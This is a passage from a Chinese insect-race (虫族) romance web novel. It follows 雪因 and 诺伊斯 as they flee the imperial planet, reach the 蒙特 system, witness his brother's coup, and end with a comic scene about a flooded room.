雪因蔚蓝的眼眸浮出笑意,“当然,有你在我身边,我是真的很开心。” “主星没有雪。”雪因看着外边随着飞行器持续攀升,透明的悬窗上开始凝结出一层薄薄的冰雾,伸出手指好奇地触碰着。 “嗯?” “你应该也知道,这里一年四季都是恒温的,天气变化是那些雌虫们创造出来的。一切都是为了雄虫生活得更舒适,以及不会有雌虫因为精神力暴动而死。” “嗯,这里是所有虫族的理想乡。我小时候,我雌父总对我说,一定要努力来到帝星。”诺伊斯顺着雪因的视线看去,脸上也浮现一种复杂,他自嘲地笑了笑,“没想到,最后是我自己主动选择离开了它。” 雪因继续轻声说:“主星保护了一切,也困住了我。” “…” “我的殿下…”诺伊斯抱住雪因,亲昵地用脸颊蹭了蹭雪因柔软微凉的脸侧,头发扎得雪因感觉脸上微微发痒,雪因忍不住笑着偏头闪躲起来,,却被诺伊斯抱得更紧。 “外面并没有您想象中那么美好,充满了战火,压迫,掠夺…” “我知道。”雪因停止了闪躲,任由他抱着,“我就是…就是想、想知道什么是真实。至少我想亲自去看,去触摸,那些美好和不美好的一切,” 雪因望向诺伊斯紫眸,“而不是永远从教科书、从别的虫口中,去认知一个被过滤、被诠释过的世界。” 他微微挣脱开诺伊斯的怀抱,转过头,“以后我会很努力的。我可以学很多东西,做很多事…我能赚很多星币,养你。” 诺伊斯:“……” 他足足愣了三秒钟,才像是听到什么天方夜谭般,哭笑不得地反问:“……你说什么蠢话?哪有雄虫养雌虫的道理?” 雪因:“?” 这下雪因不乐意了。他微微板起脸,甩开诺伊斯还环着他的手,甚至带着点虚张声势的强势,一把揪住诺伊斯的衣领,将他拉近,蔚蓝的眼眸瞪圆:“你看不起我?我说可以就是可以!就是觉得!养自己喜欢的虫是一件理所当然很幸福的事。” “我不同意哈,”诺伊斯无情的拒绝了天马行空的小雄虫荒唐的想法,“乖,别想这些。到了外面,你就和以前在帝星一样,做任何你想做的事情,研究你感兴趣的…什么都好。外面那些事都交给我。在帝星我或许比不过,但在外面的世界,我绝不会让你受半点委屈——” “你放肆!”雪因被他理所当然的安排气得脸颊微红,属于王爵的那点矜贵脾气上来了,他松开诺伊斯的衣领,微微抬起下巴,命令道,“跪下。” 诺伊斯:“…………” 他举起双手表示彻底投降,老老实实地在跪在雪因面前。 “行、行行行,您说了算。” 他嘴上应着,心里却打定了主意:反正到了外面,具体怎么过日子还是他说了算。谁家雌虫会真的让自家雄虫出去养家?荒唐。 “你别这么……”雪因显然看出他的敷衍,从一旁拿过诺伊斯扣在座椅下方的匕首。 “别别别!殿下!别玩这么危险的东西!”诺伊斯脸色一变,反应极快,抢在雪因之前将匕首连同皮鞘一把夺过,把匕首压在膝盖下确保雪因无法拿到,这才恍若无事发生继续跪着。 好似少了些什么,打量了周围一圈,抓住之前威胁雪因的钢笔,塞入雪因手中,主动抓住雪因握笔的手,将笔尖轻轻抵在自己下巴上。 诺伊斯抬起头,露出一副饱受欺凌却无力反抗的屈辱表情,声音都带上了颤音:“是这样吗?雄主…您、您不要这样…好疼,我、我好怕…” 雪因“……” 他快气笑了,顺着他的力道,将钢笔更用力地抵了上去,迫使诺伊斯仰起头,他的紫眸甚至无比配合地泛起泪水 虽然知道是演的还是让雪因觉得受用。 “少用你那一套‘直雌癌’的想法来定义我。”雪因微微倾身,蓝眸眯起,语气带着警告,“不然我就……” “不然您就让我下不了床。”诺伊斯无比顺滑地接上,跪着用膝盖往前挪了两小步,脸讨好地蹭了蹭雪因手背,“让我服侍您吧,我尊贵的殿下。”—— 作者有话说:——无责任小剧场2—— 雪团破壳后,不靠谱的墨尔庇斯便理所当然地被剥夺了‘抚养权’——理由很充分:他从没照顾过虫崽。何况那颗蛋壳上还残留着某位虫的唾液。 雄虫协会对此表示无话可说,却又不敢当面质问墨尔庇斯。根本不想让他接触虫崽,每天只是抽取他血液精神力来得勤快。 至于雪团,连一根毛都没有让他看到。 墨尔庇斯表示:其实他也不是很想看呵呵呵呵。雄虫协会,你们真的很装呵呵呵呵。 于是某天,馋了的墨尔庇斯‘无意’间路过了抚育室,又‘刚好’趁抚育虫都不在的时候,进入了抚育室。 小雄虫瞬间背脊一凉,还抱着偌大的蛋壳放嘴边啃啃啃。意识到小命要完蛋后,眼睛睁得大大圆圆泪汪汪的,手死死攥着蛋壳,一边啃一边心里自我安慰:没事的,没事的,雪因吃点东西一切都会好起来的。 墨尔庇斯饶有兴致地看了一会儿,随后伸手一把提溜起雪因背后那暴露在外的蝶翼。小崽子吃痛,啃蛋壳的速度更快了,眼泪啪嗒啪嗒往下砸,嘴巴嚼嚼嚼,努力缓解焦虑。 明明破壳时才巴掌大,如今已经长到手臂那么高了。墨尔庇斯拎着那对蝶翼,让他在半空中晃啊晃。 最后他无情地抽走了雪因手里啃得嘎嘣响的蛋壳。 小家伙颤巍巍地抬起眼,对上了他那双看不出情绪的眼睛。 两眼一黑,昏了过去。 让墨尔庇斯不由得感叹年轻真好,说睡就睡。 遗憾的是终究没能尝上一口——抚育虫们回来了。 只是当晚雪因便高烧不退,被紧急送回了墨尔庇斯身边。 噢。 这次倒是如愿以偿了。 —— 墨:你从小体弱多病,可都是我在照顾你。 至于怎么体弱多病的你别问。 雪:) 第72章 湿润滑软的触感从手…… 湿润滑软的触感从手背掠过,诺伊斯紫眸暧昧盯着雪因,一只手插入雪因握着钢笔的指缝,稍一用力,钢笔便‘啪嗒’一声滚落在地。他取而代之,用指腹轻轻摩挲着对方敏感的掌心。 雪因只觉得一阵酥麻从手心窜起,脸颊不受控制地泛起红晕,他有些慌乱地用力抽回手,转身快步走回自己的座位,“别、别闹了,我们该……” 话音未落,整个飞行器猛地一震,轻微的颠簸感传来,又突破了一层帝星的防御屏障。 雪因不由得有些担忧,转而走到悬窗前,望向远方能量波动最为明显的最后一层屏障。“我们…” “别担心,”诺伊斯再次为没能引诱漂亮雄虫到叹了口气,站起身,自然而然地伸出双臂,从背后将他圈进怀里,下巴轻轻搁在雪因柔软的发顶,一同注视着近在咫尺的屏障。“你雌父给了我们屏障能量最薄弱的坐标点。加上你现在‘亚雌’的身份,我们相当于走‘暗线’,不用经过那些繁琐的身份核查和层层关卡。而且这段时间,大皇子的势力为了渗透和追踪,几乎把帝星的防御体系搅得漏洞百出,各处都在‘打补丁’,混乱得很。” 诺伊斯有些感慨:“当年我费尽心思进入帝星,光是审查就走了大半年流程,离开时更是层层设卡…没想到现在帝星成了这样…” “不是的,”雪因轻轻摇头,看向远方,露出微微担忧,“我‘亚雌’身份蒙混是其次…关键是,今晚墨尔庇斯出征,整个帝国的注意力,高度集中在星港和远征军动向上了,常规出入通道的警戒等级反而可能出现短暂的缝隙。” 诺伊斯抱着他的手臂微微一紧。他沉默了片刻,才低声说:“……他会没事的。他会活着回来。” “我…对不起诺伊斯。”雪因有些艰难的开口,“你知道,我心里只有你。但是对我来说墨尔庇斯是一个很特别很复杂的存在,他对我…我不知道。大家都说他很在乎我,很喜欢我,可是我从来都感觉不出来。感觉不到的爱,还能算是爱吗?” “你不该问我,”诺伊斯握紧了雪因的手,声音有些闷,“你知道,我不会想在感情的方面夸他什么,给自己凭空添一个‘情敌’。他拆散我们,他让你和我分开,让我们虫崽从怀上就失去雄父。” “但比起他,其实…我更多时候恨你。” 雪因身体一僵:“什么?” “我一开始只想做你的雌侍,我没想过要得罪任何虫。在我的计划里,我能凭借你的宠爱得到地位和尊重,我的雌虫崽未来也能借着莱昂图特的姓氏…像你四哥一样,成年就可以轻松获得少将军衔,完全不需要为未来忧心。” “……对不起。” “不,不怪你。是我自己贪婪了。”诺伊斯抬起头,轻轻吻了吻雪因的耳廓,“后来我才明白,真正爱一个虫,眼里是容不下沙子的,心是无法被分享的。我分不清我是因为什么爱上你,但从我决定加入大皇子阵营带你离开后,我想明白了。爱本就该是独一无二的,或许你要的‘纯粹’和‘唯一’,才是对的。 “是我一开始被欲望蒙蔽了眼睛,迟迟不敢看清爱你。用欲望虚假掩饰爱,这样才能让我得到安全感,不断告诉自己只是基因本能,只是看上你的权势,忽略了最重要的爱。” “诺伊斯…” “我不知道这个选择是对是错,会不会让我们万劫不复。但我想,至少现在不后悔。墨尔庇斯比我笨,他…” 诺伊斯深深吸了一口气,闭上眼,浊浊吐了出来。 “你知道在我们这些普通平民眼里,墨尔庇斯——第一军团长,是怎样的一只虫吗?” “什么?”雪因还没有从被诺伊斯说的话中复杂的感情脱离出来,思绪有些跟不上这突兀的转折。 “他是虫族当之无愧的战神。我记得很小的时候,有一次遭遇大规模星兽入侵。一脚踩下来,那种…怎样都无法灭掉的火焰,沾上一点,就会把虫从里到外慢慢地、活生生烧成灰烬。等级越高越难熬,一边恢复,一边不断承受被灼烧的痛苦,很多不忍心亲虫承受撕心裂肺的痛苦,只能忍痛亲手杀死他们,结束一切。” “我们无能为力,没有星币买船票离开这座星球,而上面高层虫早就跑掉了,甚至还启动了行星屏障封死星球,防止星兽离开…并放弃了我们。” “我们没有任何反抗的能力,只能听着电台通知,知道星兽又摧毁了哪个聚居点,又往哪个方向移动了。新闻永远追不上死亡蔓延的速度。我雌父…抱着我一次次半夜拼命逃命,躲进一个又一个临时的、并不安全的掩体。” “那时候我就在想……等我长大了,有了虫崽,我一定、一定不能让他也过这种朝不保夕、听天由命的日子。我一定要成为第一批有资格登上逃生舰的虫,不管用什么手段。” “后来…军团长出现了。就他一只虫,从天而降,只是轻轻挥手,伤了我们无数同族的星兽就无声无息地化作了飘散的星砂。他没有像普通军官一样…没有庆功宴,没有接受膜拜,他甚至…连看都没有多看我们一眼,就赶赴下一个需要他的炼狱。” 雪因彻底愣住了,嘴唇微张却发不出任何声音。这是他从未听说过的墨尔庇斯,一个剥离了王爵未婚雌君之外纯粹陌生的…守护神形象。 “或许对你来说,他从来不是一个合格的、甚至可以说是可怕的‘雌君’。但对我们来说,他是当之无愧的军团长。我从没有对他有过敌意,因为我想,如果是他抢走你的话,我是愿意的,我甘心的。” “那你怎么把我带走…”雪因心情有些复杂,又有些酸涩。 “因为我觉得,我这样想,或许不止我这样想,再或许大家都是这样想。对你来说太不公平了。” “你不是谁的附庸,不是胜利后的奖杯,更不是用来装点门面的徽章。你是雪因,是独一无二、会思考、会感受、会渴望自由和真实的雪因。不能因为他很厉害,就让你完全成为他的奖励品,他的徽章。我知道,你一直想去外面看看,是么?”诺伊斯温柔地轻笑起来。“当然,也有一部分私心。毕竟能和我最爱的雄主,只有我们两个,去一个谁也不知道的地方,一直一直在一起。” 雪因手不由自主抓住窗沿,眼眸漫上了水雾。“我…” “这就信了?我的小殿下。”诺伊斯正经不过两秒,又假装凶狠,嘴角勾起一抹戏谑的弧度,俯身凑近,不轻不重地咬了一下雪因泛红的耳垂,热气喷洒在敏感的皮肤上,“这么好骗,怪不得被外面那些‘坏虫’骗得团团转。” “我才没有。”雪因下意识反驳。 “那这是谁掉的小珍珠?”诺伊斯迅速伸手,作势要去抹雪因的眼角,指尖却只是虚虚擦过,随即挑眉,故作惊讶,“咦?没有啊。看来是我看错了。” “哼。”雪因那点子难过也被他打岔迅速过去,没好气地轻哼一声。他稳了稳情绪,才又低声道:“他对我来说确实很特别,我以前特别…”雪因斟酌着用词,“特别粘他,他就特别烦我。” “你不是特别怕他吗?”诺伊斯有些诧异,“怎么还会去粘他?” “因为…算了,都过去了。”雪因吐了口气,“我还是希望他能好好的回来,还有我弟弟。” “弟弟?”诺伊斯疑惑。 雪因不愿多说,只是简单道,“嗯,墨尔庇斯的虫崽。他应该…把他留在帝星了。” 诺伊斯还想追问,飞行器却猛地一震,干脆利落突破了帝星最后一层屏障,真正进入了外层空间。 太顺利了,他不由得也有些欣喜,“雪因,快看!我们出来…你怎么了?!” 雪因的身体剧烈地颤抖了一下,他脚下一软,向后倒去,被诺伊斯牢牢接住,靠在了他胸膛上。大口喘息着,额角瞬间渗出冷汗,脸色以肉眼可见的速度变得惨白。 诺伊斯的心猛地提起,他立刻将雪因打横抱起,小心地安置在座椅上,让他躺平。手忙脚乱地翻找出阿斯特拉事先准备好的、专门用于雄虫精神力剧烈消耗后的高效恢复剂,小心翼翼地凑到雪因唇边,“快,喝下去!” 雪因勉强就着他的手,急促地喝了几口。 “咳咳…”喝下后稍稍恢复了些,脸色惨白,雪因有些艰难地开口“没事,” 只是突破屏障的一瞬间,雪因第一次暴露在了帝星之外的宇宙能量场中。与帝星内部经过层层过滤、被强大雌虫精神力网络温柔圈养和哺育的环境截然不同,外界充斥着无数杂乱、强势、贪婪且毫无章法的精神力场和能量波动。它们如同嗅到血腥味的鲨群,瞬间察觉到了雪因这个顶级雄虫散发出的、纯粹而强大的信息素“光源”,本能地疯狂攫取、吸收。 帝星内,抽取信息素立刻会有强大的雌虫精神力进行补充。但现在雪因身边只有一个诺伊斯,他的信息素被外界的‘黑洞’猛烈吸走了一大截,还无法快速得到补充。 要不是他反应快,凭借本能强行切断了自身信息素的外泄通道,将它们死死封锁在体内,后果不堪设想。即便如此,这突如其来的‘失血’也让他虚脱。 诺伊斯看着雪因惨白的脸色和虚弱的模样,想起阿斯特拉公爵最后的叮嘱:“外界环境对雄虫极度不友好,尤其对雪因这种顶级血脉而言,虽然你弱了些,但必要时…用你的血。” 雌虫的血液富含精纯的精神力,是短时间内补充雄虫消耗、稳固其状态最直接有效的方式。 没有犹豫,诺伊斯抽出匕首,利落地在自己掌心划开一道口子。温热的鲜血立刻涌了出来。 “你做什么?!”雪因惊愕地看着他的举动。 “别浪费,”诺伊斯将滴血的手掌递到雪因唇边,“雌虫血液里的精神力最精纯,能最快帮你恢复。喝下去。” 情况紧急,雪因也知不是矫情的时候。他闭上眼,张口含住了诺伊斯的手掌。 他本以为这是一种很陌生的体验,雌虫的血应该是带着腥味的。却没想到身体却像是很熟练一般,迅速接受,意识恍惚了一瞬。 等雪因清醒过来的时候,只看到诺伊斯无力躺在地上,脖颈间还残留着两个不深不浅的血洞,一身狼藉。 雪因慌乱地爬起身。 诺伊斯伸手,有些无力揽住雪因的腰,将他重新拉向自己。 他仰头直直望进雪因慌乱失措的蓝眼睛,喉结滚动,声音沙哑得不成样子,“您别…再吊着我了。给我个痛快。” 第73章 惊变 荒唐过后,雪因将累得昏睡过去的诺伊斯小心安置在座椅上。诺伊斯等级不高,要的也不多,嘴上叫嚣得厉害,实际操作起来没多久就会耗尽精力晕过去,反倒是雪因还颇有余力。替诺伊斯盖好柔软的毛毯后哒哒哒来到驾驶操作台前。 这是他第一次真正接触飞行器。帝星的雄虫从不需亲自驾驶任何交通工具,也不需要离开帝星,所以没必要学习操作飞行器之类的。 但他记得老师曾说过:对于他们这样天赋顶尖的雄虫而言,想要使用或理解任何机械造物,最直接的方法并非学习繁琐的操作步骤,而是直接用精神力去“沟通”,去“命令”,让它们呈现出你想要的结果。并不需要和普通虫族一样一点点的学习。 雪因试探着将精神力从指尖释放,淡蓝色的光如涟漪般漾开,拂过操作面板。面板上指示灯被瞬间一个个顺从地亮起,将庞大的信息流反馈回来——能源仓状态、飞行器三维解析图、当前坐标与航路… 甚至包括飞行器底部磨损,都清晰无误。 这感觉有点像为雌虫梳理暴动的精神海,只不过对象换成了冰冷的机械。那修复它,是不是也同理? 雪因心念微动,用精神力包裹住磨损,金属表面刮痕迅速恢复如新。 …… 好弱啊。 还没有给一个A级雌虫修复精神海麻烦。 于是闲来无事的雪因王爵殿下,干脆兴致勃勃地给这架飞行器,做了一次彻彻底底的保养。 等诺伊斯醒来,揉着有些酸软的腰腹坐起身,就看到他的小雄主背对着他,站在驾驶台前,修长的手指在空中随意地比划、轻点,复杂仪表盘和控制面板,便精准地给出反馈,执行指令,甚至自动优化着原本由诺伊斯设定的航行参数。 诺伊斯:“!!!” 他一个激灵彻底清醒,猛地站起身,裹在身上的毛毯滑落,露出布满吻痕的精悍身躯。他也顾不上了,随手将毛毯往腰间一系,几个大步跨到雪因身边,紫眸瞪得溜圆,“你怎么能操控它?!这上面明明设置了最高权限锁,除了我谁都动不了!” 这权限锁还是他花了不小代价弄来的,按理说连军方的强行破解都需要时间。 雪因被他吓了一跳,转过头眨了眨眼,“唔…我很难和你解释这个。现在的情况大概是…我不需要破解你的权限锁,我是权限本身。” “哇!殿下,您这可真是……”诺伊斯磨了磨后槽牙,伸手不轻不重地捏了捏雪因软乎乎的脸颊,惹得对方笑着躲闪,“我可是在军校和战场上实打实学了几年才敢说精通!” 诺伊斯表示有点恨这种天赋党了。 “对了,”雪因好不容易从诺伊斯的魔爪下拯救出自己的脸颊,忽然想起一个关键问题,“我们这是要去哪儿?你一直没告诉我具体的目的地。” 诺伊斯松开手,顺势将雪因揽进怀里,下巴蹭着他的发顶,声音带着慵懒:“您有什么特别想去的地方吗?我的殿下。现在我们暂时安全,或许可以……趁机放松游玩一下?就当是迟来的蜜月旅行。” 雪因靠在他温热的胸膛上,想了想,眼睛微微亮起:“我想去蒙特星系。我雌父说,那里是我雌父家族最早的发源地。我想……去看看。” “好啊,”诺伊斯毫不犹豫地点头,“那就去蒙特星系。” 一晃,一个月的时间。 两虫的日子过得简单惬意。大部分时间都腻在一起,雪因会好奇地用精神力探索飞行器的每一个角落,甚至尝试“优化”诺伊斯携带的一些小装备;诺伊斯则负责日常琐事、警戒,以及随时迫不及待地满足他家精力旺盛又好奇心十足的雄主各种突发奇想。因为不着急赶路没有进行耗能巨大的强行空间跳跃,避免雪因消耗太大,只是一路悠闲地朝着蒙特星系航行。 “走。”诺伊斯牵着雪因的手,踏上了蒙特星系主星。 他们照例没有通过官方通道,雪因熟练地撕开空间裂缝潜入。 诺伊斯坚持必须谨慎,现在还不是暴露行踪的时候。也多亏了雪因这手学得飞快的空间操作,不然他们也没那么容易避开层层检查过关。 这是一座繁华的星球,街道宽阔,处处可见蒙特金德家族古老华丽的族徽浮雕,整体风格复古。 雪因戴着宽大的兜帽和口罩,将耀眼的银发和过分出色的容貌遮得严严实实,只露出一双蓝眼,一路左顾右盼,忍不住感叹着。 “你怎么比我还兴奋?”诺伊斯回头,看着雪因那双在兜帽阴影下依然亮晶晶的眼睛,忍不住低笑,“我以为王爵殿下对这种地方早已习以为常了。” “我……是第一次亲眼见到,原来路上可以有这么多虫,就这样随意地走来走去。” 诺伊斯:“?” 雪因指着面前熙熙攘攘、穿着各异、有军雌也有普通平民的虫流,语气认真:“我一直以为,外面的世界…唔,像这样公共的地方,应该是不会有这么多虫的。每只虫出门前,难道不应该是说一声,路上就会被清空,才能通行吗?” 诺伊斯哭笑不得地看着雪因:“不是的,殿下…您每次出行,前后至少一个月,为了确保绝对安全、防止任何可能的袭击或骚乱,才会提前清空相关路线和区域,实施最高级别的管制。那是特例,不是常态。” “那……您觉得平民平时都生活在什么样的地方?” “不知道。”雪因眨了眨眼,一脸认真,“我没有想过,可能…住得稍微小一点的府邸。” 诺伊斯嘴唇动了动,看着雪因清澈蓝眸,终于没忍住,‘噗嗤’一声笑了出来,赶紧抬手捂住嘴,肩膀却止不住地抖动。 一道阴影笼罩下来。 一队身穿蒙特金德家族制式军服、步伐整齐的军雌拦在了他们面前,“站住。什么身份?通行证拿出来检查。” 来者不善,且明显是冲着他俩这生面孔来的。 诺伊斯心下一凛,正要上前应对,却被雪因轻轻拉住了手腕。雪因对他眨了眨眼,示意他别出声,交给自己。 雪因蔚蓝的眼眸深处极快地掠过一丝蓝色光晕。 面前这群军雌眼神同时恍惚了一瞬,瞳孔深处也映出了一点同样的微蓝。不再盯着雪因和诺伊斯,而是转向面前的虚空,仿佛那里真的有一份虚拟文件,神情认真地进行着“查看”。 “嗯……登记信息……临时访客……蒙特金德旁系担保……”为首的军雌对着空气喃喃自语,甚至还煞有介事地用手指虚划了几下,“唔……没问题,放行。” “能问问发生什么事了吗?怎么查得这么严?”雪因适时开口。 军雌的视线依旧聚焦在虚空,却一脸认真地回答:“听说帝星那边…我们尊贵的维斯特冕王爵殿下可能会出现在我们星系,上面下了死命令,这段时间对所有陌生面孔严加盘查。你们没事就在住处待着,别出来给政府添乱。” “王爵殿下不是在维斯特冕王爵府吗?”雪因微微歪头,指尖再次在唇边轻轻一竖,示意诺伊斯保持安静,继续引导着问话。 “这我们下边的就不知道了,”军雌机械地回答,“上边给我们什么命令,我们就听什么。好了,没问题就快走吧,别挡着巡逻路线。” 雪因和诺伊斯对视一眼,一脸凝重。 周围路过的雌虫们似乎完全没发现这里的异常,依旧自然地绕着他们行走。 军雌们确认完毕转身离开,继续他们的巡逻。 “你……你是怎么做到的?”两人走出一段距离,拐进相对安静的街角,诺伊斯才压低声音,难掩震惊地问。他刚才甚至没感受到明显的精神力波动。 “我能短暂地影响S级以下雌虫的感官和认知,制造一些‘他们以为看到或听到’的幻象。”雪因小声解释,“但没试过能同时影响多少,也不知道具体能维持多久,至少着十几个还是很轻松的。有人来了——” 两人迅速闪身,钻进旁边一条狭窄而略显昏暗的巷道,借着堆积的杂物隐匿身形,隔着巷口的缝隙,警惕地观察着外面街道上的动静。 只见成排列队、气息肃杀的军雌粗暴地分开虫群,清出一条宽阔的通道。中央一辆由星兽拖曳的巨型悬浮刑车缓缓驶来。刑车中央的铁笼上,半跪着一个雄虫,狼狈不已,身上滴落着血迹。 是大哥雄主塞西尔!雪因瞳孔骤然收缩,他怎么会在这里? 而站在牢笼身后的雌虫是雪因他大哥梅洛斯! “大哥…塞西尔…” 诺伊斯见状立刻把想冲出去的雪因捂住嘴,死死抱住他。“嘘——!冷静!先看清楚,别冲动!” “我,梅洛斯·蒙特金德,代表蒙特金德家族家主,奉大皇子德莱殿下之命,正式接管本星系防务,并暂代第一军团长。大皇子殿下才是帝国正统!我等在此匡扶正义,作大皇子最忠实的臣民。” 梅洛斯冷酷的声音回荡在街道上空。身边亲卫适时朝空中鸣枪,周围寂静。 说着,他目光扫过笼中颤抖的雄虫,抬手,能量枪口对准铁笼,子弹擦着塞西尔的耳边飞过,击碎了他身后的一截栏杆,溅起的碎屑划破了他的脸颊。塞西尔吓得猛地一缩,发出一声压抑的抽泣。 “梅洛斯!你疯了?!你这是叛国!你雌父蒙特金德公爵还在,你想让整个家族为你陪葬吗?!”虫群中,有几位身着旧式军服的军雌忍不住怒吼出声。 几声枪响。梅洛斯甚至没有转头,他身后的亲卫已然出手。几位出言反对的军雌应声倒地,鲜血迅速染红地面。 周围静寂无声。 直到他们走后,诺伊斯这才缓缓松开捂着雪因嘴的手,将他半搂在怀里。 “大哥…大哥他明明应该在星渊征战的名单上,他怎么会在这里…还、还…” 诺伊斯沉默,好半晌才找回声音,“雪因,听着。帝星已经出事了,别忘了你雌父的叮嘱。” “只有我没被抓到,他就是安全的。”雪因难过地重复着,“那我要等多久?” “五年十年…或者,等军团长回来。” “我不想这样,我想看雌父…” “你想害死他么?”诺伊斯捧起他的脸,强迫他看着自己,“你什么都做不了。你现在出现,唯一的结果就是被抓住。一旦你落到大皇子手里,你觉得他们会怎么利用你,去威胁、去逼迫你雌父就范?到那时,你雌父才是真的完了。” “现在帝星以为你还被墨尔庇斯关在维斯特冕王爵府,只是猜测你在外边。” “没人能保护你,你身上的力量…会被他们利用发起战争伤害更多的虫。”诺伊斯完全见识到了——能瞬间操控S级以下的雄虫,甚至操控完后大气都没有喘,看起来轻轻松松。雪因要是真的被敌方抓住利用,不知道会是多么可怕的存在。 “嗯。”雪因艰难地眨了眨眼,还是忍住了。“我听雌父的……也听你的。我们离开这里。” 刚从藏身之处走出,在拐角处与另一只同样行色匆匆、捂得严严实实的虫迎面撞了个正着! “哎哟!”对方被撞得踉跄后退,一屁股摔倒在地,兜帽滑落,露出一头短发。 诺伊斯紧张的拦在雪因面前,手中握着刀。雪因却拉住了诺伊斯的手,从他背后探出头,“克罗夫特。” 地上的虫动作一顿,猛地抬起头,拉下脸上的口罩,眼眸里充满了惊愕:“雪因殿下?” “是我。”雪因确认了对方的身份——是他大哥的长子,克罗夫特,也是雄虫。雄虫之间天然的感知和亲近感,对方身上并无恶意,他稍稍放松了警惕。 克罗夫特看清确实是雪因,慌忙开口:“您怎么在这里?快离开这个星球!这里现在很危险了。” “塞西尔他……”雪因急忙问。 “我雄父暂时没事!”克罗夫特快速解释道,“刚才那是…是做给外边看的。我雌父不会真的伤害雄父。雄父家族坚持站在现任虫皇那边,不肯松口合作,雌父只能用这种方式施压,同时向大皇子表忠心。” “大哥他为什么背叛虫皇。他已经是我雌父的继承虫了,过几年…过几百年,雌父老了,未来蒙特金德公爵的位置一定是他的。”雪因想不明白,现任虫皇在位明明才是对他们家族来说最好的选择。 克罗夫特解释道:“因为,如果大皇子上位,雌父就会成为皇太子,第一顺位继承人。毕竟现在大皇子在世唯一的子嗣只有…” “好了,”诺伊斯开口慌乱打断,克罗夫特看了一眼诺伊斯,两虫眼神交流,一瞬了然。 克罗夫特立刻错开话题,“殿下,既然您已经逃出来了,就千万别再回帝星!如今帝星平衡微妙,大皇子顾忌着您和军团长留下的影响,暂时不敢对祖父下死手。如果您被大皇子抓住就全完了。现任虫皇那边说不定也想抓住您。您逃得远远的,藏起来,千万别被任何一方找到!帝星有我,我会替您照顾好雌祖父。” “今晚你们还不能走。现在他们开始严查空间传送波动,离开风险太大。你们先将就一晚。明天一早,借我雌父离开,跟着立刻走!”—— 作者有话说:这卷时间线会很快。 小阿南得再等两章,毕竟被亲雌父实打实封印,没那么容易出来。[猫爪] 第74章 与诺伊斯,论水管与追兵…… 雪因眼皮微颤,最终还是睁开了眼睛。 望着陌生空荡荡的天花板,墙壁甚至有些斑驳。和王爵府的奢侈不同,这个临时落脚点堪称简陋。克罗夫特自身也处于被观察的敏感时期,与他接触过密风险太高。直接回到存放在空间装置里的飞行器上休息又太过显眼。 他们只能找到这处不起眼的住所将就一晚。就算诺伊斯已经尽量清理过,空气中还是有些潮。 而现在诺伊斯正大大咧咧地侧躺着,手臂和长腿霸道地圈着雪因,睡得正沉。雪因有些不适地动了动,小心地从他温暖却略显束缚的怀抱里一点点挪出来,撑着有些酸软的身体慢慢坐起,目光投向窗外的红月。 蒙特星系最著名的便是这轮红月,传闻在深夜对着红月许下愿望,愿望就会成为诅咒。小时候抚育虫是这样说的。 然后就问雪因,外边的月亮是什么颜色?小雄子便会害怕地缩进被子,不敢再看窗外,很快就乖乖睡着了。 空气中的潮气似乎更重了,带着一种……水腥味? 雪因慢慢转过头,视线落在地面上,地毯边缘晕开小片湿痕。湿痕好似正以肉眼可见的速度缓慢扩大,渐渐渗出水珠,水珠成了水流,从门外漫溢进来。 …… 雪因眨了眨眼,干脆坐起来欣赏。 一开始能听到水流声,之后慢慢水流声似乎完全没入水中,原本该在浴室的兔子拖鞋,慢悠悠地漂了进来。 诺伊斯在迷迷糊糊地伸手去捞身边的雪因,想把他重新裹进怀里,声音含糊:“怎么不睡了…冷?” “看风景呢。” “嗯?”诺伊斯费力地撑开沉重的眼皮,视线朦胧地扫过房间,然后缓缓下移,定格在房间上在波光粼粼中飘的拖鞋上。“????水管漏了?!你怎么不说啊啊啊!!!” 诺伊斯瞬间清醒,一个鲤鱼打挺坐起来。 雪因被他激烈的反应弄得有些茫然,歪了歪头,“什么叫水管坏了?” 诺伊斯:“……” “不是你家造景么?”雪因继续一脸无辜地补刀。 诺伊斯动作顿住,回头看着雪因那张写满无辜和求知欲的脸,一口气差点没上来:“……宝贝。” 他深吸一口气,揉了揉突突直跳的太阳穴,俯身过去胡乱在雪因额头上亲了一口,“首先,这不是‘我家’,我和你不一样,我不是走到哪里名下都有房产的……噢,等等,蒙特星系,这地方说不定还真是你们维斯特冕家族名下的。” “其次,”他指着已经快能养鱼的地面,语气斩钉截铁,“没!有!虫!会!在!家!里!装!这!种!‘造!景!’!这是事故!事故懂吗?房子漏水了!” “最后,”他看着雪因,挫败感涌上心头,声音软了下来,带着歉意,“是我不好,没检查清楚就选了这么个破地方。等…等我们找到稳定安全的落脚点,一定不让你受这种委屈。” “为什么不会?”雪因继续认真说道:“以前…佐尔安就很喜欢。他在卧室里养了一条鱼。” 诺伊斯:“?”这话题跳跃得他有点跟不上。 “他小时候说,喜欢一睁开眼睛就能看到鱼在水里游,”雪因回忆着,比划了一下,“然后他的抚育虫用水球包裹住那条鱼,用精神力维持着,让鱼可以脱离水箱,悬浮在他卧室上空,自由地呼吸、游动。” 诺伊斯张了张嘴,半晌才找回自己的声音,语气复杂难辨:“…这就是雄虫的世界吗?再任性、再异想天开的愿望,也会被无条件地满足和宠爱?” “任性?”雪因对这个词感到有些困惑,“他们只会说我要求太少,太容易满足,不像个‘合格’的雄虫。”雪因说着叹了口气。 诺伊斯看着他低垂的睫毛,又软又涩。他笑了笑,伸手揉了揉雪因睡得有些蓬松的银发:“嗯,你要求太少,所以他们都很担心你容易被欺负。” “……”雪因一顿,才轻声说,“有时候…我觉得现在这一切就像一场梦。梦醒了,我可能还躺在王爵府那张华丽卧室里,周围没有人,外面是永远出不去的屏障。” 诺伊斯心头一紧,握住他微凉的手:“是不是现在感受到外面的世界,和你一开始想的不太一样?” “比我想象得好,”雪因笑了笑,“一切都很新鲜,是我在帝星永远也见不到、想象不到的。” “只是有时候我会觉得…你好像不需要我了。你变得更可靠稳重,不是我熟悉的样子。只有我还在原地。” “为什么?这样不好吗?我变强、变可靠,才能更好地保护你啊。” “我觉得你需要被我保护。以前是那样的。” “那你的意思是,如果我不再需要你‘保护’,你就不想在我身边了吗?”诺伊斯有些闷闷不乐的。 “不,我不是这个意思。”雪因立刻摇头,眉头微蹙,努力组织着语言,“我只是在想……如果你有一天真的变成了我完全‘不认识’的样子,我不会简单地用‘你变了’来责怪你,为自己开脱,那太…卑劣了。我只是不知道到了那时候,我要怎么分清,怎么爱你。” “变成不认识的样子?比如呢?”诺伊斯没有因为雪因的话难过,只是敏感地感觉到雪因或许因为环境大变有些不安,他放柔了声音,引导雪因说下去,“性格变了?模样变了?还是……完全变成了另一个虫?就像……墨尔庇斯那样?” 